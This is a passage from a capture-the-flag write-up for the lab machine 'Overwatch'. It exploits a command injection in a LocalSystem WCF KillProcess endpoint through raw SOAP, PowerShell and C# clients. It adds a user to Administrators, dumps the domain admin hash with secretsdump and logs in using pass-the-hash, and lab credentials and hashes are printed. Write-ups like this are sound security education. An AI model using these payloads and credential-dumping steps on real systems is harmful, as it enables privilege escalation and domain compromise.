-a-h--         9/28/2024  11:48 AM        1245480 System.Data.SQLite.xml
-a-h--         7/17/2017   7:46 AM         360448 System.Management.Automation.dll
-a-h--         7/17/2017   7:46 AM        7145771 System.Management.Automation.xml
</span></code></pre></div></div>

<p>It is a running process:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">Get-Process</span><span class="w"> </span><span class="nx">overwatch</span><span class="w">
</span><span class="go">
Handles  NPM(K)    PM(K)      WS(K)     CPU(s)     Id  SI ProcessName
-------  ------    -----      -----     ------     --  -- -----------
    294      19    32480      31876              4668   0 overwatch 
</span></code></pre></div></div>

<p>A quick check of listening sockets confirms TCP 8000 is bound:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">Get-NetTCPConnection</span><span class="w"> </span><span class="nt">-State</span><span class="w"> </span><span class="nx">Listen</span><span class="w"> </span><span class="nt">-LocalPort</span><span class="w"> </span><span class="nx">8000</span><span class="w"> </span><span class="o">|</span><span class="w"> </span><span class="n">Select-Object</span><span class="w"> </span><span class="nx">LocalAddress</span><span class="p">,</span><span class="nx">LocalPort</span><span class="p">,</span><span class="nx">OwningProcess</span><span class="w">
</span><span class="go">
LocalAddress LocalPort OwningProcess
------------ --------- -------------
::                8000             4
0.0.0.0         8000             4
</span></code></pre></div></div>

<p>PID 4 on Windows is the kernel <code class="language-plaintext highlighter-rouge">System</code> process. HTTP-bound .NET services don’t open the socket themselves, instead registering a URL prefix with <code class="language-plaintext highlighter-rouge">http.sys</code>, the kernel HTTP listener, and <code class="language-plaintext highlighter-rouge">http.sys</code> (running as part of <code class="language-plaintext highlighter-rouge">System</code>) holds the socket on their behalf and dispatches requests up to the user-mode process. So PID 4 owning port 8000 is exactly what I’d expect for a WCF service using <code class="language-plaintext highlighter-rouge">basicHttpBinding</code> against <code class="language-plaintext highlighter-rouge">http://overwatch.htb:8000/MonitorService</code>.</p>

<p><code class="language-plaintext highlighter-rouge">netsh http show servicestate</code> walks the live <code class="language-plaintext highlighter-rouge">http.sys</code> state, listing every URL group currently registered, the request queues attached to it, and the user-mode process IDs subscribed to receive requests for those URLs. Where <code class="language-plaintext highlighter-rouge">urlacl</code> only shows static reservations, this view shows what is actually being dispatched right now:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="n">netsh</span><span class="w"> </span><span class="nx">http</span><span class="w"> </span><span class="nx">show</span><span class="w"> </span><span class="nx">servicestate</span><span class="w">
</span><span class="go">
Snapshot of HTTP service state (Server Session View):
-----------------------------------------------------
...[snip]...
Server session ID: FD00000010000001
...[snip]...
    URL groups:
    URL group ID: FF00000120000001
        State: Active
        Request queue name: Request queue is unnamed.
        Properties:
            Max bandwidth: inherited
            Max connections: inherited
            Timeouts:
                Timeout values inherited
            Number of registered URLs: 1
            Registered URLs:
                HTTP://+:8000/MONITORSERVICE/
                
Request queues:
...[snip]...
    Request queue name: Request queue is unnamed.
        Version: 2.0
        State: Active
        Request queue 503 verbosity level: Basic
        Max requests: 1000
        Number of active processes attached: 1
        Processes:
            ID: 4668, image: &lt;?&gt;
        Registered URLs:
            HTTP://+:8000/MONITORSERVICE/
</span></code></pre></div></div>

<p>The following useful pieces of information come out of this:</p>

<ul>
  <li>The registered URL prefix is <code class="language-plaintext highlighter-rouge">HTTP://+:8000/MONITORSERVICE/</code>. The <code class="language-plaintext highlighter-rouge">+</code> is the <code class="language-plaintext highlighter-rouge">http.sys</code> wildcard that matches any incoming <code class="language-plaintext highlighter-rouge">Host</code> header. So even though the WCF config says <code class="language-plaintext highlighter-rouge">http://overwatch.htb:8000/MonitorService</code>, hitting <code class="language-plaintext highlighter-rouge">http://localhost:8000/MonitorService/</code> (or the IP, or the FQDN) will all reach the same handler.</li>
  <li>Under <code class="language-plaintext highlighter-rouge">Processes</code>, the request queue is attached to PID <code class="language-plaintext highlighter-rouge">4668</code>, which is the same <code class="language-plaintext highlighter-rouge">overwatch.exe</code> PID I saw earlier with <code class="language-plaintext highlighter-rouge">Get-Process</code>. That confirms the user-mode WCF host is <code class="language-plaintext highlighter-rouge">overwatch.exe</code> itself, with <code class="language-plaintext highlighter-rouge">http.sys</code> (PID 4) just holding the socket on its behalf.</li>
</ul>

<h3 id="command-injection">Command Injection</h3>

<h4 id="strategy">Strategy</h4>

<p>At this point I have a WCF service exposing the <code class="language-plaintext highlighter-rouge">KillProcess</code> PowerShell-injection sink, running as <code class="language-plaintext highlighter-rouge">LocalSystem</code> and reachable from the localhost-side of the firewall on <code class="language-plaintext highlighter-rouge">http://localhost:8000/MonitorService/</code>. If I can call <code class="language-plaintext highlighter-rouge">KillProcess</code> with an injection payload I’ll have RCE.</p>

<p>I’ll show four ways to interact with the WCF application:</p>

<ul>
  <li><a href="#powershell-raw-soap">PowerShell Raw SOAP</a></li>
  <li><a href="#powershell-webserviceproxy">PowerShell WebServiceProxy</a></li>
  <li><a href="#wcf-inline-client">WCF Inline Client</a></li>
  <li><a href="#wcf-binary-client">WCF Binary Client</a></li>
</ul>

<h4 id="powershell-raw-soap">PowerShell Raw SOAP</h4>

<p>I’ll create a SOAP payload for the WCF request. It’s XML, and pretty printed it will look like:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$soap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sh">@'
&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;
  &lt;s:Body&gt;                                                
    &lt;KillProcess xmlns="http://tempuri.org/"&gt;
      &lt;processName&gt;x; whoami #&lt;/processName&gt;
    &lt;/KillProcess&gt;
  &lt;/s:Body&gt;                                               
&lt;/s:Envelope&gt;
'@</span><span class="w">  
</span></code></pre></div></div>

<p>The important part is the <code class="language-plaintext highlighter-rouge">processName</code> parameter, which I’ve set up to do a command injection to run <code class="language-plaintext highlighter-rouge">whoami</code> followed by a comment to remove the rest of the line.</p>

<p>This becomes a one-liner to paste into my shell:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="nv">$s</span><span class="o">=</span><span class="s1">'&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Body&gt;&lt;KillProcess xmlns="http://tempuri.org/"&gt;&lt;processName&gt;x; whoami #&lt;/processName&gt;&lt;/KillProcess&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;'</span><span class="w">
</span></code></pre></div></div>

<p>And then I trigger it:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="p">(</span><span class="n">iwr</span><span class="w"> </span><span class="s1">'http://localhost:8000/MonitorService/'</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-ContentType</span><span class="w"> </span><span class="s1">'text/xml; charset=utf-8'</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="p">@{</span><span class="s1">'SOAPAction'</span><span class="o">=</span><span class="s1">'"http://tempuri.org/IMonitoringService/KillProcess"'</span><span class="p">}</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="nv">$s</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="p">)</span><span class="o">.</span><span class="nf">Content</span><span class="w">
</span><span class="go">&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Body&gt;&lt;KillProcessResponse xmlns="http://tempuri.org/"&gt;&lt;KillProcessResult&gt;nt authority\system&amp;#xD;
&amp;#xD;
&lt;/KillProcessResult&gt;&lt;/KillProcessResponse&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;
</span></code></pre></div></div>

<p>This is a POST request to <code class="language-plaintext highlighter-rouge">localhost:8000/MonitorService</code> with a header to identify the <code class="language-plaintext highlighter-rouge">KillProcess</code> function and the SOAP body. It says “nt authority\system” in the <code class="language-plaintext highlighter-rouge">KillProcessResult</code> block, which makes sense given the NSSM service was registered with <code class="language-plaintext highlighter-rouge">ObjectName: LocalSystem</code> (seen earlier in the registry dump).</p>

<p>To abuse this further I’ll update the payload to add the sqlmgmt user to the Administrators group:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="nv">$soap</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="sh">@'
&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;
  &lt;s:Body&gt;                                                
    &lt;KillProcess xmlns="http://tempuri.org/"&gt;
      &lt;processName&gt;x; net localgroup Administrators sqlmgmt /add&lt;/processName&gt;
    &lt;/KillProcess&gt;
  &lt;/s:Body&gt;                                               
&lt;/s:Envelope&gt;
'@</span><span class="w">  
</span></code></pre></div></div>

<p>Run it as a one liner:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="nv">$s</span><span class="o">=</span><span class="s1">'&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Body&gt;&lt;KillProcess xmlns="http://tempuri.org/"&gt;&lt;processName&gt;x; net localgroup Administrators sqlmgmt /add&lt;/processName&gt;&lt;/KillProcess&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;'</span><span class="w">
</span></code></pre></div></div>

<p>I’ll trigger it:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="p">(</span><span class="n">iwr</span><span class="w"> </span><span class="s1">'http://localhost:8000/MonitorService/'</span><span class="w"> </span><span class="nt">-Method</span><span class="w"> </span><span class="nx">POST</span><span class="w"> </span><span class="nt">-ContentType</span><span class="w"> </span><span class="s1">'text/xml; charset=utf-8'</span><span class="w"> </span><span class="nt">-Headers</span><span class="w"> </span><span class="p">@{</span><span class="s1">'SOAPAction'</span><span class="o">=</span><span class="s1">'"http://tempuri.org/IMonitoringService/KillProcess"'</span><span class="p">}</span><span class="w"> </span><span class="nt">-Body</span><span class="w"> </span><span class="nv">$s</span><span class="w"> </span><span class="nt">-UseBasicParsing</span><span class="p">)</span><span class="o">.</span><span class="nf">Content</span><span class="w">
</span><span class="go">&lt;s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/"&gt;&lt;s:Body&gt;&lt;KillProcessResponse xmlns="http://tempuri.org/"&gt;&lt;KillProcessResult&gt;The command completed successfully.&amp;#xD;
&amp;#xD;
&amp;#xD;
&lt;/KillProcessResult&gt;&lt;/KillProcessResponse&gt;&lt;/s:Body&gt;&lt;/s:Envelope&gt;
</span></code></pre></div></div>

<p>It reports success.</p>

<h4 id="powershell-webserviceproxy">PowerShell WebServiceProxy</h4>

<p>A much simpler shortcut is to use a <code class="language-plaintext highlighter-rouge">WebServiceProxy</code>, which will provide an interface to handle the underlying complexity. I’ll create the proxy:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="nv">$proxy</span><span class="w"> </span><span class="o">=</span><span class="w"> </span><span class="n">New-WebServiceProxy</span><span class="w"> </span><span class="nt">-Uri</span><span class="w"> </span><span class="s2">"http://localhost:8000/MonitorService?wsdl"</span><span class="w"> </span><span class="nt">-Namespace</span><span class="w"> </span><span class="s2">"WcfProxy"</span><span class="w">
</span></code></pre></div></div>

<p>The <code class="language-plaintext highlighter-rouge">$proxy</code> object can now talk directly to the WCF endpoint:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="nv">$proxy</span><span class="o">.</span><span class="nf">KillProcess</span><span class="p">(</span><span class="s1">'x; net localgroup administrators sqlmgmt /add; #'</span><span class="p">)</span><span class="w">
</span><span class="go">The command completed successfully.
</span></code></pre></div></div>

<h4 id="wcf-inline-client">WCF Inline Client</h4>

<p>Above I used the raw SOAP API, but the more natural way to interact with the WCF interface is with a WCF client. One way to do that is from PowerShell:</p>

<div class="language-powershell highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="n">Add-Type</span><span class="w"> </span><span class="nt">-TypeDefinition</span><span class="w"> </span><span class="sh">@'
using System.ServiceModel;                                
[ServiceContract(Namespace="http://tempuri.org/")]
public interface IMonitoringService {                     
    [OperationContract] string KillProcess(string processName);
}
public static class Client {
    public static string Run(string p) {                  
        var f = new ChannelFactory&lt;IMonitoringService&gt;(
            new BasicHttpBinding(),
            new EndpointAddress("http://localhost:8000/MonitorService/"));
        return f.CreateChannel().KillProcess(p);
    }                                                     
}
'@</span><span class="w"> </span><span class="nt">-ReferencedAssemblies</span><span class="w"> </span><span class="nx">System.ServiceModel</span><span class="w">
</span><span class="p">[</span><span class="n">Client</span><span class="p">]::</span><span class="n">Run</span><span class="p">(</span><span class="s1">'x; whoami #'</span><span class="p">)</span><span class="w">
</span></code></pre></div></div>

<p>Flattened to a single line so it pastes through evil-winrm-py cleanly, it works:</p>

<div class="language-console wrapall highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\&gt;</span><span class="w"> </span><span class="nv">$src</span><span class="o">=</span><span class="s1">'using System.ServiceModel; [ServiceContract(Namespace="http://tempuri.org/")] public interface IMonitoringService { [OperationContract] string KillProcess(string processName); } public static class Client { public static string Run(string p) { var f = new ChannelFactory&lt;IMonitoringService&gt;(new BasicHttpBinding(), new EndpointAddress("http://localhost:8000/MonitorService/"));  return f.CreateChannel().KillProcess(p); } }'</span><span class="p">;</span><span class="w"> </span><span class="n">Add-Type</span><span class="w"> </span><span class="nt">-TypeDefinition</span><span class="w"> </span><span class="nv">$src</span><span class="w"> </span><span class="nt">-ReferencedAssemblies</span><span class="w"> </span><span class="nx">System.ServiceModel</span><span class="p">;</span><span class="w"> </span><span class="p">[</span><span class="n">Client</span><span class="p">]::</span><span class="n">Run</span><span class="p">(</span><span class="s1">'x; whoami #'</span><span class="p">)</span><span class="w">
</span><span class="go">nt authority\system
</span></code></pre></div></div>

<p>I can do the same thing here to add sqlmgmt to Administrators group, or other abuses from the context of nt authority\system.</p>

<h4 id="wcf-binary-client">WCF Binary Client</h4>

<p>Probably the most common way to interact with a WCF program is to make a client program. I’ll create a simple WCF program on my VM:</p>

<div class="language-cs highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="k">using</span> <span class="nn">System</span><span class="p">;</span>
<span class="k">using</span> <span class="nn">System.ServiceModel</span><span class="p">;</span>                                

<span class="p">[</span><span class="nf">ServiceContract</span><span class="p">(</span><span class="n">Namespace</span> <span class="p">=</span> <span class="s">"http://tempuri.org/"</span><span class="p">)]</span>
<span class="k">public</span> <span class="k">interface</span> <span class="nc">IMonitoringService</span> <span class="p">{</span>
        <span class="p">[</span><span class="n">OperationContract</span><span class="p">]</span> <span class="kt">string</span> <span class="nf">KillProcess</span><span class="p">(</span><span class="kt">string</span> <span class="n">processName</span><span class="p">);</span>
<span class="p">}</span>                                                         

<span class="k">class</span> <span class="nc">Program</span> <span class="p">{</span>
    <span class="k">static</span> <span class="k">void</span> <span class="nf">Main</span><span class="p">(</span><span class="kt">string</span><span class="p">[]</span> <span class="n">args</span><span class="p">)</span> <span class="p">{</span>
        <span class="kt">var</span> <span class="n">binding</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">BasicHttpBinding</span><span class="p">();</span>
        <span class="kt">var</span> <span class="n">endpoint</span> <span class="p">=</span> <span class="k">new</span> <span class="nf">EndpointAddress</span><span class="p">(</span><span class="s">"http://localhost:8000/MonitorService/"</span><span class="p">);</span>
        <span class="k">using</span> <span class="p">(</span><span class="kt">var</span> <span class="n">factory</span> <span class="p">=</span> <span class="k">new</span> <span class="n">ChannelFactory</span><span class="p">&lt;</span><span class="n">IMonitoringService</span><span class="p">&gt;(</span><span class="n">binding</span><span class="p">,</span> <span class="n">endpoint</span><span class="p">))</span> <span class="p">{</span>
            <span class="kt">var</span> <span class="n">client</span> <span class="p">=</span> <span class="n">factory</span><span class="p">.</span><span class="nf">CreateChannel</span><span class="p">();</span>
            <span class="n">Console</span><span class="p">.</span><span class="nf">WriteLine</span><span class="p">(</span><span class="n">client</span><span class="p">.</span><span class="nf">KillProcess</span><span class="p">(</span><span class="s">"x; "</span> <span class="p">+</span> <span class="n">args</span><span class="p">[</span><span class="m">0</span><span class="p">]</span> <span class="p">+</span> <span class="s">" #"</span><span class="p">));</span>
        <span class="p">}</span>
    <span class="p">}</span>                                                     
<span class="p">}</span> 
</code></pre></div></div>

<p>This program opens a typed <code class="language-plaintext highlighter-rouge">IMonitoringService</code> channel against the WCF endpoint and invokes <code class="language-plaintext highlighter-rouge">KillProcess</code> with the injection wrapper built in.</p>

<p>I’ll upload this to Overwatch and compile it:</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt;</span><span class="w"> </span><span class="n">wget</span><span class="w"> </span><span class="nx">10.10.14.61/client.cs</span><span class="w"> </span><span class="nt">-outfile</span><span class="w"> </span><span class="nx">client.cs</span><span class="w">
</span><span class="gp">evil-winrm-py PS C:\programdata&gt;</span><span class="w"> </span><span class="n">C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe</span><span class="w"> </span><span class="nx">/r:System.ServiceModel.dll</span><span class="w"> </span><span class="nx">/out:client.exe</span><span class="w"> </span><span class="nx">client.cs</span><span class="w">
</span><span class="go">Microsoft (R) Visual C# Compiler version 4.8.4161.0

for C# 5
Copyright (C) Microsoft Corporation. All rights reserved.

This compiler is provided as part of the Microsoft (R) .NET Framework, but only supports language versions up to C# 5, which is no longer the latest version. For compilers that support newer versions of the C# programming language, see http://go.microsoft.com/fwlink/?LinkID=533240
</span></code></pre></div></div>

<p>That produces an executable, which I’ll run, giving the command I want to run:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\client.exe</span><span class="w"> </span><span class="s2">"whoami"</span><span class="w">
</span><span class="go">nt authority\system
</span></code></pre></div></div>

<p>I can also just read the flag (from any of these methods)</p>

<div class="language-console wrap highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\programdata&gt;</span><span class="w"> </span><span class="o">.</span><span class="n">\client.exe</span><span class="w"> </span><span class="s2">"Get-Content C:\users\administrator\desktop\root.txt"</span><span class="w">
</span><span class="go">f263ec97************************
</span></code></pre></div></div>

<h3 id="shell-as-administrator-1">Shell as Administrator</h3>

<p>With a user in the Administrators group, I’ll <code class="language-plaintext highlighter-rouge">evil-winrm-py</code> back in as <code class="language-plaintext highlighter-rouge">sqlmgmt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> S200401.overwatch.htb <span class="nt">-u</span> sqlmgmt <span class="nt">-p</span> <span class="s1">'bIhBbzMMnB82yx'</span>
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'sqlmgmt'
evil-winrm-py PS C:\Users\sqlmgmt\Documents&gt; whoami /groups

GROUP INFORMATION
-----------------

Group Name                                 Type             SID          Attributes                                                     
========================================== ================ ============ ===============================================================
Everyone                                   Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group             
BUILTIN\Administrators                     Alias            S-1-5-32-544 Mandatory group, Enabled by default, Enabled group, Group owner
BUILTIN\Remote Management Users            Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group             
BUILTIN\Users                              Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group             
BUILTIN\Pre-Windows 2000 Compatible Access Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NETWORK                       Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\Authenticated Users           Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\This Organization             Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group             
NT AUTHORITY\NTLM Authentication           Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group             
Mandatory Label\High Mandatory Level       Label            S-1-16-12288 
</span></code></pre></div></div>

<p>Or I can dump the administrator user’s hash:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>secretsdump.py overwatch/sqlmgmt:bIhBbzMMnB82yx@S200401.overwatch.htb <span class="nt">-just-dc-user</span> administrator
<span class="go">Impacket v0.13.0 - Copyright Fortra, LLC and its affiliated companies 

[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:269fa056205bbf5d47fc2c3682dbbce6:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:2f3c0c1b2c6b7640c5aa32aefa9ae4876b90f3111bddcc4e3d6a6abae8c18320
Administrator:aes128-cts-hmac-sha1-96:2c9b1138615b727dd96f100d4f1327ca
Administrator:des-cbc-md5:988c5b85b04fb358
[*] Cleaning up...
</span></code></pre></div></div>

<p>And connect with that:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">oxdf@hacky$</span><span class="w"> </span>evil-winrm-py <span class="nt">-i</span> S200401.overwatch.htb <span class="nt">-u</span> administrator <span class="nt">-H</span> 269fa056205bbf5d47fc2c3682dbbce6
<span class="go">          _ _            _                             
  _____ _(_| |_____ __ _(_)_ _  _ _ _ __ ___ _ __ _  _ 
 / -_\ V | | |___\ V  V | | ' \| '_| '  |___| '_ | || |
 \___|\_/|_|_|    \_/\_/|_|_||_|_| |_|_|_|  | .__/\_, |
                                            |_|   |__/  v1.6.0

[*] Connecting to 'S200401.overwatch.htb:5985' as 'administrator'
</span><span class="gp">evil-winrm-py PS C:\Users\Administrator\Documents&gt;</span><span class="w">
</span></code></pre></div></div>

<p>Either of these shells can get <code class="language-plaintext highlighter-rouge">root.txt</code>:</p>

<div class="language-console highlighter-rouge"><div class="highlight"><pre class="highlight"><code><span class="gp">evil-winrm-py PS C:\Users\Administrator\Desktop&gt;</span><span class="w"> </span><span class="n">cat</span><span class="w"> </span><span class="nx">root.txt</span><span class="w">
</span><span class="go">f263ec97************************
</span></code></pre></div></div>

<h2 id="beyond-root---htb-log-leak">Beyond Root - HTB Log Leak</h2>

<h3 id="dismlog">dism.log</h3>

<h4 id="log-format">Log Format</h4>

<p>DISM is Windows’ Deployment Image Servicing and Management stack, the engine behind <code class="language-plaintext highlighter-rouge">dism.exe</code> and the PowerShell <code class="language-plaintext highlighter-rouge">Dism</code> module that provides <code class="language-plaintext highlighter-rouge">Get-WindowsFeature</code>, <code class="language-plaintext highlighter-rouge">Add-WindowsCapability</code>, <code class="language-plaintext highlighter-rouge">Get-WindowsOptionalFeature</code>. The file is appended to every time a process loads the <code class="language-plaintext highlighter-rouge">DismApi.dll</code> DLL, which is what provides these functions. Each session is bookended with <code class="language-plaintext highlighter-rouge">&lt;----- Starting DismApi.dll session -----&gt;</code> and a matching <code class="language-plaintext highlighter-rouge">Ending</code> line, and at the top of every session DISM writes a chunk of forensic-flavored fields such as API and OS version, processor count, log level, scratch directory, and the parent process command line. For example, the first full session in the log on Overwatch looks like:</p>

<div class="language-console code-collapse highlighter-rouge" data-trunc="300"><div class="highlight"><pre class="highlight"><code><span class="go">&lt;----- Starting DismApi.dll session -----&gt; - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll:                                            - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: Host machine information: OS Version=10.0.20348, Running architecture=amd64, Number of processors=2 - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: API Version 10.0.20348.1 - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 DismApi.dll: Parent process command line: "C:\Program Files\Windows Defender\MpCmdRun.exe" -Roles - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Input parameters: LogLevel: 2, LogFilePath: (null), ScratchDirectory: (null) - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Initialized GlobalConfig - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Initialized SessionTable - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Lookup in table by path failed for: DummyPath-2BA51B78-C7F7-4910-B99D-BB7345357CDC - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4352 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4352 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Created g_internalDismSession - DismInitializeInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Input parameters: ImagePath: DISM_{53BFAE52-B167-4E2F-A258-0A37B57FF845}, WindowsDirectory: (null), SystemDrive: (null) - DismOpenSessionInternal
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Lookup in table by path failed for: DRIVE_C - CTransactionalImageTable::LookupImagePath
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Waiting for m_pInternalThread to start - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Enter CCommandThread::CommandThreadProcedureStub - CCommandThread::CommandThreadProcedureStub
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 CommandThread StartupEvent signaled - CCommandThread::WaitForStartup
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 m_pInternalThread started - CCommandThread::Start
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=3656 Successfully enqueued command object - CCommandThread::EnqueueCommandObject
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Enter CCommandThread::ExecuteLoop - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 ExecuteLoop: CommandQueue signaled - CCommandThread::ExecuteLoop
2025-05-16 23:05:23, Info                  DISM   API: PID=3580 TID=4348 Successfully dequeued command object - CCommandThread::DequeueCommandObject
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 Scratch directory set to 'C:\Windows\TEMP\'. - CDISMManager::put_ScratchDir
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 DismCore.dll version: 10.0.20348.1 - CDISMManager::FinalConstruct
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   PID=3580 TID=4348 Successfully loaded the ImageSession at "C:\Windows\system32\Dism" - CDISMManager::LoadLocalImageSession
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   DISM Provider Store: PID=3580 TID=4348 Found and Initialized the DISM Logger. - CDISMProviderStore::Internal_InitializeLogger
2025-05-16 23:05:23, Info                  DISM   Initialized Panther logging at C:\Windows\Logs\DISM\dism.log
2025-05-16 23:05:23, Info                  DISM   DISM Manager: PID=3580 TID=4348 Successfully created the local image session and provider store. - CDISMManager::CreateLocalImageSession
2025-05-16 23:05:24, Info                  DISM   DISM FFU Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM FFU provider. - CFfuImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider FfuManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
2025-05-16 23:05:24, Info                  DISM   DISM VHD Provider: PID=3580 TID=4348 [C:\] is not recognized by the DISM VHD provider. - CVhdImage::Initialize
2025-05-16 23:05:24, Info                  DISM   DISM Imaging Provider: PID=3580 TID=4348 The provider VHDManager does not support CreateDismImage on C:\ - CGenericImagingManager::CreateDismImage
[3580.4348] [0x8007007b] FIOReadFileIntoBuffer:(1458): The filename, directory name, or volume label syntax is incorrect.
